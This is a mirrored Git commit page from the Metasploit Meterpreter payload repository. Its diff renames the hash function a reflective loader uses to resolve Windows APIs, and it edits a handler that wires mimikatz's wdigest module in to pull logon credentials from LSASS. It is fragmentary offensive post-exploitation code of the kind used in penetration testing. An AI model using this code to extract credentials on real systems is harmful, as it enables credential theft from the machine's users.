mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-24 18:16:24 +01:00
Working comms
This commit is contained in:
parent
21e2b1fecf
commit
39872d239b
c/meterpreter/source
@ -183,7 +183,7 @@ geteip:
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
dwHashValue = _hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH || dwHashValue == VIRTUALLOCK_HASH || dwHashValue == OUTPUTDEBUG_HASH )
|
||||
|
@ -63,7 +63,7 @@ __forceinline DWORD ror( DWORD d )
|
||||
|
||||
|
||||
|
||||
__forceinline DWORD hash( char * c )
|
||||
__forceinline DWORD _hash( char * c )
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
|
@ -203,7 +203,7 @@ static void real_dprintf(char *format, ...) {
|
||||
va_start(args,format);
|
||||
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format,args);
|
||||
strcat_s(buffer, sizeof(buffer), "\r\n");
|
||||
OutputDebugString(buffer);
|
||||
OutputDebugStringA(buffer);
|
||||
}
|
||||
|
||||
#endif
|
||||
|
@ -36,31 +36,26 @@ EnableDelayLoadMetSrv();
|
||||
|
||||
DWORD request_boiler(Remote *remote, Packet *packet)
|
||||
{
|
||||
packet_transmit_response(0, remote, packet);
|
||||
FILE *ficheiro = fopen("c:\\test.txt", "wb");
|
||||
fclose(ficheiro);
|
||||
std::wofstream logFile( "c:\\out.txt");
|
||||
std::wstreambuf *outbuf = std::wcout.rdbuf(logFile.rdbuf());
|
||||
std::wstreambuf *errbuf = std::wcerr.rdbuf(logFile.rdbuf());
|
||||
Packet * response = packet_create_response(packet);
|
||||
bool result = 0;
|
||||
//std::wofstream logFile( "c:\\out.txt");
|
||||
//std::wstreambuf *outbuf = std::wcout.rdbuf(logFile.rdbuf());
|
||||
//std::wstreambuf *errbuf = std::wcerr.rdbuf(logFile.rdbuf());
|
||||
|
||||
vector<wstring> * mesArguments = new vector<wstring>();
|
||||
|
||||
mimikatz * myMimiKatz = new mimikatz(mesArguments);
|
||||
//mimikatz * myMimiKatz = new mimikatz(mesArguments);
|
||||
|
||||
vector<pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>> monProvider;
|
||||
monProvider.push_back(make_pair<mod_mimikatz_sekurlsa::PFN_ENUM_BY_LUID, wstring>(mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData, wstring(L"wdigest")));
|
||||
|
||||
//result = mod_mimikatz_sekurlsa_wdigest::getWDigest(mesArguments);
|
||||
/*
|
||||
if (mod_mimikatz_sekurlsa::searchLSASSDatas())
|
||||
{
|
||||
mod_mimikatz_sekurlsa::getLogonData(mesArguments, &monProvider);
|
||||
}
|
||||
|
||||
std::wcout.rdbuf(outbuf);
|
||||
std::wcerr.rdbuf(errbuf);
|
||||
|
||||
packet_transmit_response(0, remote, packet);
|
||||
|
||||
return 0;
|
||||
}*/
|
||||
|
||||
packet_transmit_response(result, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
Command customCommands[] =
|
||||
|
Loading…
x
Reference in New Issue
Block a user